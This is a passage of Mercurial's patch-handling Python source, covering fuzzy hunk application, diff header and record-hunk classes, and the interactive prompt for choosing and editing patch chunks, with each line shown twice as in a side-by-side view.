848 self.offset += len(new) - len(old)
849 self.dirty = True
849 self.dirty = True
850 return 0
850 return 0
851
851
852 # ok, we couldn't match the hunk. Lets look for offsets and fuzz it
852 # ok, we couldn't match the hunk. Lets look for offsets and fuzz it
853 self.hash = {}
853 self.hash = {}
854 for x, s in enumerate(self.lines):
854 for x, s in enumerate(self.lines):
855 self.hash.setdefault(s, []).append(x)
855 self.hash.setdefault(s, []).append(x)
856
856
857 for fuzzlen in pycompat.xrange(
857 for fuzzlen in pycompat.xrange(
858 self.ui.configint(b"patch", b"fuzz") + 1
858 self.ui.configint(b"patch", b"fuzz") + 1
859 ):
859 ):
860 for toponly in [True, False]:
860 for toponly in [True, False]:
861 old, oldstart, new, newstart = h.fuzzit(fuzzlen, toponly)
861 old, oldstart, new, newstart = h.fuzzit(fuzzlen, toponly)
862 oldstart = oldstart + self.offset + self.skew
862 oldstart = oldstart + self.offset + self.skew
863 oldstart = min(oldstart, len(self.lines))
863 oldstart = min(oldstart, len(self.lines))
864 if old:
864 if old:
865 cand = self.findlines(old[0][1:], oldstart)
865 cand = self.findlines(old[0][1:], oldstart)
866 else:
866 else:
867 # Only adding lines with no or fuzzed context, just
867 # Only adding lines with no or fuzzed context, just
868 # take the skew in account
868 # take the skew in account
869 cand = [oldstart]
869 cand = [oldstart]
870
870
871 for l in cand:
871 for l in cand:
872 if not old or diffhelper.testhunk(old, self.lines, l):
872 if not old or diffhelper.testhunk(old, self.lines, l):
873 self.lines[l : l + len(old)] = new
873 self.lines[l : l + len(old)] = new
874 self.offset += len(new) - len(old)
874 self.offset += len(new) - len(old)
875 self.skew = l - orig_start
875 self.skew = l - orig_start
876 self.dirty = True
876 self.dirty = True
877 offset = l - orig_start - fuzzlen
877 offset = l - orig_start - fuzzlen
878 if fuzzlen:
878 if fuzzlen:
879 msg = _(
879 msg = _(
880 b"Hunk #%d succeeded at %d "
880 b"Hunk #%d succeeded at %d "
881 b"with fuzz %d "
881 b"with fuzz %d "
882 b"(offset %d lines).\n"
882 b"(offset %d lines).\n"
883 )
883 )
884 self.printfile(True)
884 self.printfile(True)
885 self.ui.warn(
885 self.ui.warn(
886 msg % (h.number, l + 1, fuzzlen, offset)
886 msg % (h.number, l + 1, fuzzlen, offset)
887 )
887 )
888 else:
888 else:
889 msg = _(
889 msg = _(
890 b"Hunk #%d succeeded at %d "
890 b"Hunk #%d succeeded at %d "
891 b"(offset %d lines).\n"
891 b"(offset %d lines).\n"
892 )
892 )
893 self.ui.note(msg % (h.number, l + 1, offset))
893 self.ui.note(msg % (h.number, l + 1, offset))
894 return fuzzlen
894 return fuzzlen
895 self.printfile(True)
895 self.printfile(True)
896 self.ui.warn(_(b"Hunk #%d FAILED at %d\n") % (h.number, orig_start))
896 self.ui.warn(_(b"Hunk #%d FAILED at %d\n") % (h.number, orig_start))
897 self.rej.append(horig)
897 self.rej.append(horig)
898 return -1
898 return -1
899
899
900 def close(self):
900 def close(self):
901 if self.dirty:
901 if self.dirty:
902 self.writelines(self.fname, self.lines, self.mode)
902 self.writelines(self.fname, self.lines, self.mode)
903 self.write_rej()
903 self.write_rej()
904 return len(self.rej)
904 return len(self.rej)
905
905
906
906
907 class header(object):
907 class header(object):
908 """patch header
908 """patch header
909 """
909 """
910
910
911 diffgit_re = re.compile(b'diff --git a/(.*) b/(.*)$')
911 diffgit_re = re.compile(b'diff --git a/(.*) b/(.*)$')
912 diff_re = re.compile(b'diff -r .* (.*)$')
912 diff_re = re.compile(b'diff -r .* (.*)$')
913 allhunks_re = re.compile(b'(?:index|deleted file) ')
913 allhunks_re = re.compile(b'(?:index|deleted file) ')
914 pretty_re = re.compile(b'(?:new file|deleted file) ')
914 pretty_re = re.compile(b'(?:new file|deleted file) ')
915 special_re = re.compile(b'(?:index|deleted|copy|rename|new mode) ')
915 special_re = re.compile(b'(?:index|deleted|copy|rename|new mode) ')
916 newfile_re = re.compile(b'(?:new file|copy to|rename to)')
916 newfile_re = re.compile(b'(?:new file|copy to|rename to)')
917
917
918 def __init__(self, header):
918 def __init__(self, header):
919 self.header = header
919 self.header = header
920 self.hunks = []
920 self.hunks = []
921
921
922 def binary(self):
922 def binary(self):
923 return any(h.startswith(b'index ') for h in self.header)
923 return any(h.startswith(b'index ') for h in self.header)
924
924
925 def pretty(self, fp):
925 def pretty(self, fp):
926 for h in self.header:
926 for h in self.header:
927 if h.startswith(b'index '):
927 if h.startswith(b'index '):
928 fp.write(_(b'this modifies a binary file (all or nothing)\n'))
928 fp.write(_(b'this modifies a binary file (all or nothing)\n'))
929 break
929 break
930 if self.pretty_re.match(h):
930 if self.pretty_re.match(h):
931 fp.write(h)
931 fp.write(h)
932 if self.binary():
932 if self.binary():
933 fp.write(_(b'this is a binary file\n'))
933 fp.write(_(b'this is a binary file\n'))
934 break
934 break
935 if h.startswith(b'---'):
935 if h.startswith(b'---'):
936 fp.write(
936 fp.write(
937 _(b'%d hunks, %d lines changed\n')
937 _(b'%d hunks, %d lines changed\n')
938 % (
938 % (
939 len(self.hunks),
939 len(self.hunks),
940 sum([max(h.added, h.removed) for h in self.hunks]),
940 sum([max(h.added, h.removed) for h in self.hunks]),
941 )
941 )
942 )
942 )
943 break
943 break
944 fp.write(h)
944 fp.write(h)
945
945
946 def write(self, fp):
946 def write(self, fp):
947 fp.write(b''.join(self.header))
947 fp.write(b''.join(self.header))
948
948
949 def allhunks(self):
949 def allhunks(self):
950 return any(self.allhunks_re.match(h) for h in self.header)
950 return any(self.allhunks_re.match(h) for h in self.header)
951
951
952 def files(self):
952 def files(self):
953 match = self.diffgit_re.match(self.header[0])
953 match = self.diffgit_re.match(self.header[0])
954 if match:
954 if match:
955 fromfile, tofile = match.groups()
955 fromfile, tofile = match.groups()
956 if fromfile == tofile:
956 if fromfile == tofile:
957 return [fromfile]
957 return [fromfile]
958 return [fromfile, tofile]
958 return [fromfile, tofile]
959 else:
959 else:
960 return self.diff_re.match(self.header[0]).groups()
960 return self.diff_re.match(self.header[0]).groups()
961
961
962 def filename(self):
962 def filename(self):
963 return self.files()[-1]
963 return self.files()[-1]
964
964
965 def __repr__(self):
965 def __repr__(self):
966 return '<header %s>' % (
966 return '<header %s>' % (
967 ' '.join(pycompat.rapply(pycompat.fsdecode, self.files()))
967 ' '.join(pycompat.rapply(pycompat.fsdecode, self.files()))
968 )
968 )
969
969
970 def isnewfile(self):
970 def isnewfile(self):
971 return any(self.newfile_re.match(h) for h in self.header)
971 return any(self.newfile_re.match(h) for h in self.header)
972
972
973 def special(self):
973 def special(self):
974 # Special files are shown only at the header level and not at the hunk
974 # Special files are shown only at the header level and not at the hunk
975 # level for example a file that has been deleted is a special file.
975 # level for example a file that has been deleted is a special file.
976 # The user cannot change the content of the operation, in the case of
976 # The user cannot change the content of the operation, in the case of
977 # the deleted file he has to take the deletion or not take it, he
977 # the deleted file he has to take the deletion or not take it, he
978 # cannot take some of it.
978 # cannot take some of it.
979 # Newly added files are special if they are empty, they are not special
979 # Newly added files are special if they are empty, they are not special
980 # if they have some content as we want to be able to change it
980 # if they have some content as we want to be able to change it
981 nocontent = len(self.header) == 2
981 nocontent = len(self.header) == 2
982 emptynewfile = self.isnewfile() and nocontent
982 emptynewfile = self.isnewfile() and nocontent
983 return emptynewfile or any(
983 return emptynewfile or any(
984 self.special_re.match(h) for h in self.header
984 self.special_re.match(h) for h in self.header
985 )
985 )
986
986
987
987
988 class recordhunk(object):
988 class recordhunk(object):
989 """patch hunk
989 """patch hunk
990
990
991 XXX shouldn't we merge this with the other hunk class?
991 XXX shouldn't we merge this with the other hunk class?
992 """
992 """
993
993
994 def __init__(
994 def __init__(
995 self,
995 self,
996 header,
996 header,
997 fromline,
997 fromline,
998 toline,
998 toline,
999 proc,
999 proc,
1000 before,
1000 before,
1001 hunk,
1001 hunk,
1002 after,
1002 after,
1003 maxcontext=None,
1003 maxcontext=None,
1004 ):
1004 ):
1005 def trimcontext(lines, reverse=False):
1005 def trimcontext(lines, reverse=False):
1006 if maxcontext is not None:
1006 if maxcontext is not None:
1007 delta = len(lines) - maxcontext
1007 delta = len(lines) - maxcontext
1008 if delta > 0:
1008 if delta > 0:
1009 if reverse:
1009 if reverse:
1010 return delta, lines[delta:]
1010 return delta, lines[delta:]
1011 else:
1011 else:
1012 return delta, lines[:maxcontext]
1012 return delta, lines[:maxcontext]
1013 return 0, lines
1013 return 0, lines
1014
1014
1015 self.header = header
1015 self.header = header
1016 trimedbefore, self.before = trimcontext(before, True)
1016 trimedbefore, self.before = trimcontext(before, True)
1017 self.fromline = fromline + trimedbefore
1017 self.fromline = fromline + trimedbefore
1018 self.toline = toline + trimedbefore
1018 self.toline = toline + trimedbefore
1019 _trimedafter, self.after = trimcontext(after, False)
1019 _trimedafter, self.after = trimcontext(after, False)
1020 self.proc = proc
1020 self.proc = proc
1021 self.hunk = hunk
1021 self.hunk = hunk
1022 self.added, self.removed = self.countchanges(self.hunk)
1022 self.added, self.removed = self.countchanges(self.hunk)
1023
1023
1024 def __eq__(self, v):
1024 def __eq__(self, v):
1025 if not isinstance(v, recordhunk):
1025 if not isinstance(v, recordhunk):
1026 return False
1026 return False
1027
1027
1028 return (
1028 return (
1029 (v.hunk == self.hunk)
1029 (v.hunk == self.hunk)
1030 and (v.proc == self.proc)
1030 and (v.proc == self.proc)
1031 and (self.fromline == v.fromline)
1031 and (self.fromline == v.fromline)
1032 and (self.header.files() == v.header.files())
1032 and (self.header.files() == v.header.files())
1033 )
1033 )
1034
1034
1035 def __hash__(self):
1035 def __hash__(self):
1036 return hash(
1036 return hash(
1037 (
1037 (
1038 tuple(self.hunk),
1038 tuple(self.hunk),
1039 tuple(self.header.files()),
1039 tuple(self.header.files()),
1040 self.fromline,
1040 self.fromline,
1041 self.proc,
1041 self.proc,
1042 )
1042 )
1043 )
1043 )
1044
1044
1045 def countchanges(self, hunk):
1045 def countchanges(self, hunk):
1046 """hunk -> (n+,n-)"""
1046 """hunk -> (n+,n-)"""
1047 add = len([h for h in hunk if h.startswith(b'+')])
1047 add = len([h for h in hunk if h.startswith(b'+')])
1048 rem = len([h for h in hunk if h.startswith(b'-')])
1048 rem = len([h for h in hunk if h.startswith(b'-')])
1049 return add, rem
1049 return add, rem
1050
1050
1051 def reversehunk(self):
1051 def reversehunk(self):
1052 """return another recordhunk which is the reverse of the hunk
1052 """return another recordhunk which is the reverse of the hunk
1053
1053
1054 If this hunk is diff(A, B), the returned hunk is diff(B, A). To do
1054 If this hunk is diff(A, B), the returned hunk is diff(B, A). To do
1055 that, swap fromline/toline and +/- signs while keep other things
1055 that, swap fromline/toline and +/- signs while keep other things
1056 unchanged.
1056 unchanged.
1057 """
1057 """
1058 m = {b'+': b'-', b'-': b'+', b'\\': b'\\'}
1058 m = {b'+': b'-', b'-': b'+', b'\\': b'\\'}
1059 hunk = [b'%s%s' % (m[l[0:1]], l[1:]) for l in self.hunk]
1059 hunk = [b'%s%s' % (m[l[0:1]], l[1:]) for l in self.hunk]
1060 return recordhunk(
1060 return recordhunk(
1061 self.header,
1061 self.header,
1062 self.toline,
1062 self.toline,
1063 self.fromline,
1063 self.fromline,
1064 self.proc,
1064 self.proc,
1065 self.before,
1065 self.before,
1066 hunk,
1066 hunk,
1067 self.after,
1067 self.after,
1068 )
1068 )
1069
1069
1070 def write(self, fp):
1070 def write(self, fp):
1071 delta = len(self.before) + len(self.after)
1071 delta = len(self.before) + len(self.after)
1072 if self.after and self.after[-1] == b'\\ No newline at end of file\n':
1072 if self.after and self.after[-1] == b'\\ No newline at end of file\n':
1073 delta -= 1
1073 delta -= 1
1074 fromlen = delta + self.removed
1074 fromlen = delta + self.removed
1075 tolen = delta + self.added
1075 tolen = delta + self.added
1076 fp.write(
1076 fp.write(
1077 b'@@ -%d,%d +%d,%d @@%s\n'
1077 b'@@ -%d,%d +%d,%d @@%s\n'
1078 % (
1078 % (
1079 self.fromline,
1079 self.fromline,
1080 fromlen,
1080 fromlen,
1081 self.toline,
1081 self.toline,
1082 tolen,
1082 tolen,
1083 self.proc and (b' ' + self.proc),
1083 self.proc and (b' ' + self.proc),
1084 )
1084 )
1085 )
1085 )
1086 fp.write(b''.join(self.before + self.hunk + self.after))
1086 fp.write(b''.join(self.before + self.hunk + self.after))
1087
1087
1088 pretty = write
1088 pretty = write
1089
1089
1090 def filename(self):
1090 def filename(self):
1091 return self.header.filename()
1091 return self.header.filename()
1092
1092
1093 def __repr__(self):
1093 def __repr__(self):
1094 return b'<hunk %r@%d>' % (self.filename(), self.fromline)
1094 return b'<hunk %r@%d>' % (self.filename(), self.fromline)
1095
1095
1096
1096
1097 def getmessages():
1097 def getmessages():
1098 return {
1098 return {
1099 b'multiple': {
1099 b'multiple': {
1100 b'apply': _(b"apply change %d/%d to '%s'?"),
1100 b'apply': _(b"apply change %d/%d to '%s'?"),
1101 b'discard': _(b"discard change %d/%d to '%s'?"),
1101 b'discard': _(b"discard change %d/%d to '%s'?"),
1102 b'keep': _(b"keep change %d/%d to '%s'?"),
1102 b'keep': _(b"keep change %d/%d to '%s'?"),
1103 b'record': _(b"record change %d/%d to '%s'?"),
1103 b'record': _(b"record change %d/%d to '%s'?"),
1104 },
1104 },
1105 b'single': {
1105 b'single': {
1106 b'apply': _(b"apply this change to '%s'?"),
1106 b'apply': _(b"apply this change to '%s'?"),
1107 b'discard': _(b"discard this change to '%s'?"),
1107 b'discard': _(b"discard this change to '%s'?"),
1108 b'keep': _(b"keep this change to '%s'?"),
1108 b'keep': _(b"keep this change to '%s'?"),
1109 b'record': _(b"record this change to '%s'?"),
1109 b'record': _(b"record this change to '%s'?"),
1110 },
1110 },
1111 b'help': {
1111 b'help': {
1112 b'apply': _(
1112 b'apply': _(
1113 b'[Ynesfdaq?]'
1113 b'[Ynesfdaq?]'
1114 b'$$ &Yes, apply this change'
1114 b'$$ &Yes, apply this change'
1115 b'$$ &No, skip this change'
1115 b'$$ &No, skip this change'
1116 b'$$ &Edit this change manually'
1116 b'$$ &Edit this change manually'
1117 b'$$ &Skip remaining changes to this file'
1117 b'$$ &Skip remaining changes to this file'
1118 b'$$ Apply remaining changes to this &file'
1118 b'$$ Apply remaining changes to this &file'
1119 b'$$ &Done, skip remaining changes and files'
1119 b'$$ &Done, skip remaining changes and files'
1120 b'$$ Apply &all changes to all remaining files'
1120 b'$$ Apply &all changes to all remaining files'
1121 b'$$ &Quit, applying no changes'
1121 b'$$ &Quit, applying no changes'
1122 b'$$ &? (display help)'
1122 b'$$ &? (display help)'
1123 ),
1123 ),
1124 b'discard': _(
1124 b'discard': _(
1125 b'[Ynesfdaq?]'
1125 b'[Ynesfdaq?]'
1126 b'$$ &Yes, discard this change'
1126 b'$$ &Yes, discard this change'
1127 b'$$ &No, skip this change'
1127 b'$$ &No, skip this change'
1128 b'$$ &Edit this change manually'
1128 b'$$ &Edit this change manually'
1129 b'$$ &Skip remaining changes to this file'
1129 b'$$ &Skip remaining changes to this file'
1130 b'$$ Discard remaining changes to this &file'
1130 b'$$ Discard remaining changes to this &file'
1131 b'$$ &Done, skip remaining changes and files'
1131 b'$$ &Done, skip remaining changes and files'
1132 b'$$ Discard &all changes to all remaining files'
1132 b'$$ Discard &all changes to all remaining files'
1133 b'$$ &Quit, discarding no changes'
1133 b'$$ &Quit, discarding no changes'
1134 b'$$ &? (display help)'
1134 b'$$ &? (display help)'
1135 ),
1135 ),
1136 b'keep': _(
1136 b'keep': _(
1137 b'[Ynesfdaq?]'
1137 b'[Ynesfdaq?]'
1138 b'$$ &Yes, keep this change'
1138 b'$$ &Yes, keep this change'
1139 b'$$ &No, skip this change'
1139 b'$$ &No, skip this change'
1140 b'$$ &Edit this change manually'
1140 b'$$ &Edit this change manually'
1141 b'$$ &Skip remaining changes to this file'
1141 b'$$ &Skip remaining changes to this file'
1142 b'$$ Keep remaining changes to this &file'
1142 b'$$ Keep remaining changes to this &file'
1143 b'$$ &Done, skip remaining changes and files'
1143 b'$$ &Done, skip remaining changes and files'
1144 b'$$ Keep &all changes to all remaining files'
1144 b'$$ Keep &all changes to all remaining files'
1145 b'$$ &Quit, keeping all changes'
1145 b'$$ &Quit, keeping all changes'
1146 b'$$ &? (display help)'
1146 b'$$ &? (display help)'
1147 ),
1147 ),
1148 b'record': _(
1148 b'record': _(
1149 b'[Ynesfdaq?]'
1149 b'[Ynesfdaq?]'
1150 b'$$ &Yes, record this change'
1150 b'$$ &Yes, record this change'
1151 b'$$ &No, skip this change'
1151 b'$$ &No, skip this change'
1152 b'$$ &Edit this change manually'
1152 b'$$ &Edit this change manually'
1153 b'$$ &Skip remaining changes to this file'
1153 b'$$ &Skip remaining changes to this file'
1154 b'$$ Record remaining changes to this &file'
1154 b'$$ Record remaining changes to this &file'
1155 b'$$ &Done, skip remaining changes and files'
1155 b'$$ &Done, skip remaining changes and files'
1156 b'$$ Record &all changes to all remaining files'
1156 b'$$ Record &all changes to all remaining files'
1157 b'$$ &Quit, recording no changes'
1157 b'$$ &Quit, recording no changes'
1158 b'$$ &? (display help)'
1158 b'$$ &? (display help)'
1159 ),
1159 ),
1160 },
1160 },
1161 }
1161 }
1162
1162
1163
1163
1164 def filterpatch(ui, headers, match, operation=None):
1164 def filterpatch(ui, headers, match, operation=None):
1165 """Interactively filter patch chunks into applied-only chunks"""
1165 """Interactively filter patch chunks into applied-only chunks"""
1166 messages = getmessages()
1166 messages = getmessages()
1167
1167
1168 if operation is None:
1168 if operation is None:
1169 operation = b'record'
1169 operation = b'record'
1170
1170
1171 def prompt(skipfile, skipall, query, chunk):
1171 def prompt(skipfile, skipall, query, chunk):
1172 """prompt query, and process base inputs
1172 """prompt query, and process base inputs
1173
1173
1174 - y/n for the rest of file
1174 - y/n for the rest of file
1175 - y/n for the rest
1175 - y/n for the rest
1176 - ? (help)
1176 - ? (help)
1177 - q (quit)
1177 - q (quit)
1178
1178
1179 Return True/False and possibly updated skipfile and skipall.
1179 Return True/False and possibly updated skipfile and skipall.
1180 """
1180 """
1181 newpatches = None
1181 newpatches = None
1182 if skipall is not None:
1182 if skipall is not None:
1183 return skipall, skipfile, skipall, newpatches
1183 return skipall, skipfile, skipall, newpatches
1184 if skipfile is not None:
1184 if skipfile is not None:
1185 return skipfile, skipfile, skipall, newpatches
1185 return skipfile, skipfile, skipall, newpatches
1186 while True:
1186 while True:
1187 resps = messages[b'help'][operation]
1187 resps = messages[b'help'][operation]
1188 # IMPORTANT: keep the last line of this prompt short (<40 english
1188 # IMPORTANT: keep the last line of this prompt short (<40 english
1189 # chars is a good target) because of issue6158.
1189 # chars is a good target) because of issue6158.
1190 r = ui.promptchoice(b"%s\n(enter ? for help) %s" % (query, resps))
1190 r = ui.promptchoice(b"%s\n(enter ? for help) %s" % (query, resps))
1191 ui.write(b"\n")
1191 ui.write(b"\n")
1192 if r == 8: # ?
1192 if r == 8: # ?
1193 for c, t in ui.extractchoices(resps)[1]:
1193 for c, t in ui.extractchoices(resps)[1]:
1194 ui.write(b'%s - %s\n' % (c, encoding.lower(t)))
1194 ui.write(b'%s - %s\n' % (c, encoding.lower(t)))
1195 continue
1195 continue
1196 elif r == 0: # yes
1196 elif r == 0: # yes
1197 ret = True
1197 ret = True
1198 elif r == 1: # no
1198 elif r == 1: # no
1199 ret = False
1199 ret = False
1200 elif r == 2: # Edit patch
1200 elif r == 2: # Edit patch
1201 if chunk is None:
1201 if chunk is None:
1202 ui.write(_(b'cannot edit patch for whole file'))
1202 ui.write(_(b'cannot edit patch for whole file'))
1203 ui.write(b"\n")
1203 ui.write(b"\n")
1204 continue
1204 continue
1205 if chunk.header.binary():
1205 if chunk.header.binary():
1206 ui.write(_(b'cannot edit patch for binary file'))
1206 ui.write(_(b'cannot edit patch for binary file'))
1207 ui.write(b"\n")
1207 ui.write(b"\n")
1208 continue
1208 continue
1209 # Patch comment based on the Git one (based on comment at end of
1209 # Patch comment based on the Git one (based on comment at end of
1210 # https://mercurial-scm.org/wiki/RecordExtension)
1210 # https://mercurial-scm.org/wiki/RecordExtension)
1211 phelp = b'---' + _(
1211 phelp = b'---' + _(
1212 """
1212 """
1213 To remove '-' lines, make them ' ' lines (context).
1213 To remove '-' lines, make them ' ' lines (context).
1214 To remove '+' lines, delete them.
1214 To remove '+' lines, delete them.
1215 Lines starting with # will be removed from the patch.
1215 Lines starting with # will be removed from the patch.
1216
1216
1217 If the patch applies cleanly, the edited hunk will immediately be
1217 If the patch applies cleanly, the edited hunk will immediately be
1218 added to the record list. If it does not apply cleanly, a rejects
1218 added to the record list. If it does not apply cleanly, a rejects
1219 file will be generated: you can use that when you try again. If
1219 file will be generated: you can use that when you try again. If
1220 all lines of the hunk are removed, then the edit is aborted and
1220 all lines of the hunk are removed, then the edit is aborted and
1221 the hunk is left unchanged.
1221 the hunk is left unchanged.
1222 """
1222 """
1223 )
1223 )
1224 (patchfd, patchfn) = pycompat.mkstemp(
1224 (patchfd, patchfn) = pycompat.mkstemp(
1225 prefix=b"hg-editor-", suffix=b".diff"
1225 prefix=b"hg-editor-", suffix=b".diff"
1226 )
1226 )
1227 ncpatchfp = None
1227 ncpatchfp = None
1228 try:
1228 try:
1229 # Write the initial patch
1229 # Write the initial patch
1230 f = util.nativeeolwriter(os.fdopen(patchfd, 'wb'))
1230 f = util.nativeeolwriter(os.fdopen(patchfd, 'wb'))
1231 chunk.header.write(f)
1231 chunk.header.write(f)
1232 chunk.write(f)
1232 chunk.write(f)
1233 f.write(
1233 f.write(
1234 b''.join(
1234 b''.join(
1235 [b'# ' + i + b'\n' for i in phelp.splitlines()]
1235 [b'# ' + i + b'\n' for i in phelp.splitlines()]
1236 )
1236 )
1237 )
1237 )
1238 f.close()
1238 f.close()
1239 # Start the editor and wait for it to complete
1239 # Start the editor and wait for it to complete
1240 editor = ui.geteditor()
1240 editor = ui.geteditor()
1241 ret = ui.system(
1241 ret = ui.system(
1242 b"%s \"%s\"" % (editor, patchfn),
1242 b"%s \"%s\"" % (editor, patchfn),
1243 environ={b'HGUSER': ui.username()},
1243 environ={b'HGUSER': ui.username()},
1244 blockedtag=b'filterpatch',
1244 blockedtag=b'filterpatch',
1245 )
1245 )
1246 if ret != 0:
1246 if ret != 0:
1247 ui.warn(_(b"editor exited with exit code %d\n") % ret)
1247 ui.warn(_(b"editor exited with exit code %d\n") % ret)
1248 continue
1248 continue
1249 # Remove comment lines
1249 # Remove comment lines
1250 patchfp = open(patchfn, 'rb')
1250 patchfp = open(patchfn, 'rb')
1251 ncpatchfp = stringio()
1251 ncpatchfp = stringio()
1252 for line in util.iterfile(patchfp):
1252 for line in util.iterfile(patchfp):
1253 line = util.fromnativeeol(line)
1253 line = util.fromnativeeol(line)
1254 if not line.startswith(b'#'):
1254 if not line.startswith(b'#'):
1255 ncpatchfp.write(line)
1255 ncpatchfp.write(line)
1256 patchfp.close()
1256 patchfp.close()
1257 ncpatchfp.seek(0)
1257 ncpatchfp.seek(0)
1258 newpatches = parsepatch(ncpatchfp)
1258 newpatches = parsepatch(ncpatchfp)
1259 finally:
1259 finally:
1260 os.unlink(patchfn)
1260 os.unlink(patchfn)
1261 del ncpatchfp
1261 del ncpatchfp
1262 # Signal that the chunk shouldn't be applied as-is, but
1262 # Signal that the chunk shouldn't be applied as-is, but
1263 # provide the new patch to be used instead.
1263 # provide the new patch to be used instead.
1264 ret = False
1264 ret = False
1265 elif r == 3: # Skip
1265 elif r == 3: # Skip
1266 ret = skipfile = False
1266 ret = skipfile = False
1267 elif r == 4: # file (Record remaining)
1267 elif r == 4: # file (Record remaining)
1268 ret = skipfile = True
1268 ret = skipfile = True
1269 elif r == 5: # done, skip remaining
1269 elif r == 5: # done, skip remaining
1270 ret = skipall = False
1270 ret = skipall = False
1271 elif r == 6: # all
1271 elif r == 6: # all
1272 ret = skipall = True
1272 ret = skipall = True
1273 elif r == 7: # quit
1273 elif r == 7: # quit
1274 raise error.Abort(_(b'user quit'))
1274 raise error.Abort(_(b'user quit'))
1275 return ret, skipfile, skipall, newpatches
1275 return ret, skipfile, skipall, newpatches
1276
1276
1277 seen = set()
1277 seen = set()
1278 applied = {} # 'filename' -> [] of chunks
1278 applied = {} # 'filename' -> [] of chunks
1279 skipfile, skipall = None, None
1279 skipfile, skipall = None, None
1280 pos, total = 1, sum(len(h.hunks) for h in headers)
1280 pos, total = 1, sum(len(h.hunks) for h in headers)
1281 for h in headers:
1281 for h in headers:
1282 pos += len(h.hunks)
1282 pos += len(h.hunks)
1283 skipfile = None
1283 skipfile = None
1284 fixoffset = 0
1284 fixoffset = 0
1285 hdr = b''.join(h.header)
1285 hdr = b''.join(h.header)
1286 if hdr in seen:
1286 if hdr in seen:
1287 continue
1287 continue
1288 seen.add(hdr)
1288 seen.add(hdr)
1289 if skipall is None:
1289 if skipall is None:
1290 h.pretty(ui)
1290 h.pretty(ui)
1291 files = h.files()
1291 files = h.files()
1292 msg = _(b'examine changes to %s?') % _(b' and ').join(
1292 msg = _(b'examine changes to %s?') % _(b' and ').join(
1293 b"'%s'" % f for f in files
1293 b"'%s'" % f for f in files
1294 )
1294 )
1295 if all(match.exact(f) for f in files):
1295 if all(match.exact(f) for f in files):
1296 r, skipall, np = True, None, None
1296 r, skipall, np = True, None, None
1297 else:
1297 else:
1298 r, skipfile, skipall, np = prompt(skipfile, skipall, msg, None)
1298 r, skipfile, skipall, np = prompt(skipfile, skipall, msg, None)
1299 if not r:
1299 if not r:
1300 continue
1300 continue
1301 applied[h.filename()] = [h]
1301 applied[h.filename()] = [h]
1302 if h.allhunks():
1302 if h.allhunks():
1303 applied[h.filename()] += h.hunks
1303 applied[h.filename()] += h.hunks
1304 continue
1304 continue
1305 for i, chunk in enumerate(h.hunks):
1305 for i, chunk in enumerate(h.hunks):
1306 if skipfile is None and skipall is None:
1306 if skipfile is None and skipall is None:
1307 chunk.pretty(ui)
1307 chunk.pretty(ui)
1308 if total == 1:
1308 if total == 1:
1309 msg = messages[b'single'][operation] % chunk.filename()
1309 msg = messages[b'single'][operation] % chunk.filename()
1310 else:
1310 else:
1311 idx = pos - len(h.hunks) + i
1311 idx = pos - len(h.hunks) + i
1312 msg = messages[b'multiple'][operation] % (
1312 msg = messages[b'multiple'][operation] % (
1313 idx,
1313 idx,
1314 total,
1314 total,
1315 chunk.filename(),
1315 chunk.filename(),
1316 )
1316 )
1317 r, skipfile, skipall, newpatches = prompt(
1317 r, skipfile, skipall, newpatches = prompt(
1318 skipfile, skipall, msg, chunk
1318 skipfile, skipall, msg, chunk
1319 )
1319 )
1320 if r:
1320 if r:
1321 if fixoffset:
1321 if fixoffset:
1322 chunk = copy.copy(chunk)
1322 chunk = copy.copy(chunk)
1323 chunk.toline += fixoffset
1323 chunk.toline += fixoffset
1324 applied[chunk.filename()].append(chunk)
1324 applied[chunk.filename()].append(chunk)
1325 elif newpatches is not None:
1325 elif newpatches is not None:
1326 for newpatch in newpatches:
1326 for newpatch in newpatches:
1327 for newhunk in newpatch.hunks:
1327 for newhunk in newpatch.hunks:
1328 if fixoffset:
1328 if fixoffset:
1329 newhunk.toline += fixoffset
1329 newhunk.toline += fixoffset
1330 applied[newhunk.filename()].append(newhunk)
1330 applied[newhunk.filename()].append(newhunk)
1331 else:
1331 else:
1332 fixoffset += chunk.removed - chunk.added
1332 fixoffset += chunk.removed - chunk.added
1333 return (
1333 return (
1334 sum(
1334 sum(
1335 [
1335 [
1336 h
1336 h
1337 for h in pycompat.itervalues(applied)
1337 for h in pycompat.itervalues(applied)
1338 if h[0].special() or len(h) > 1
1338 if h[0].special() or len(h) > 1
1339 ],
1339 ],
1340 [],
1340 [],
1341 ),
1341 ),
1342 {},
1342 {},
1343 )
1343 )
1344
1344
1345
1345
1346 class hunk(object):
1346 class hunk(object):
1347 def __init__(self, desc, num, lr, context):
1347 def __init__(self, desc, num, lr, context):
1348 self.number = num
1348 self.number = num
1349 self.desc = desc
1349 self.desc = desc
1350 self.hunk = [desc]
1350 self.hunk = [desc]
1351 self.a = []
1351 self.a = []
1352 self.b = []
1352 self.b = []
1353 self.starta = self.lena = None
1353 self.starta = self.lena = None
1354 self.startb = self.lenb = None
1354 self.startb = self.lenb = None
1355 if lr is not None:
1355 if lr is not None:
1356 if context:
1356 if context:
1357 self.read_context_hunk(lr)
1357 self.read_context_hunk(lr)
1358 else:
1358 else:
1359 self.read_unified_hunk(lr)
1359 self.read_unified_hunk(lr)
1360
1360
1361 def getnormalized(self):
1361 def getnormalized(self):
1362 """Return a copy with line endings normalized to LF."""
1362 """Return a copy with line endings normalized to LF."""
1363
1363
1364 def normalize(lines):
1364 def normalize(lines):
1365 nlines = []
1365 nlines = []
1366 for line in lines:
1366 for line in lines:
1367 if line.endswith(b'\r\n'):
1367 if line.endswith(b'\r\n'):
1368 line = line[:-2] + b'\n'
1368 line = line[:-2] + b'\n'
1369 nlines.append(line)
1369 nlines.append(line)
1370 return nlines
1370 return nlines
1371
1371
1372 # Dummy object, it is rebuilt manually
1372 # Dummy object, it is rebuilt manually
1373 nh = hunk(self.desc, self.number, None, None)
1373 nh = hunk(self.desc, self.number, None, None)
1374 nh.number = self.number
1374 nh.number = self.number
1375 nh.desc = self.desc
1375 nh.desc = self.desc
1376 nh.hunk = self.hunk
1376 nh.hunk = self.hunk
1377 nh.a = normalize(self.a)
1377 nh.a = normalize(self.a)
1378 nh.b = normalize(self.b)
1378 nh.b = normalize(self.b)
1379 nh.starta = self.starta
1379 nh.starta = self.starta
1380 nh.startb = self.startb
1380 nh.startb = self.startb
1381 nh.lena = self.lena
1381 nh.lena = self.lena
1382 nh.lenb = self.lenb
1382 nh.lenb = self.lenb
1383 return nh
1383 return nh
1384
1384
1385 def read_unified_hunk(self, lr):
1385 def read_unified_hunk(self, lr):
1386 m = unidesc.match(self.desc)
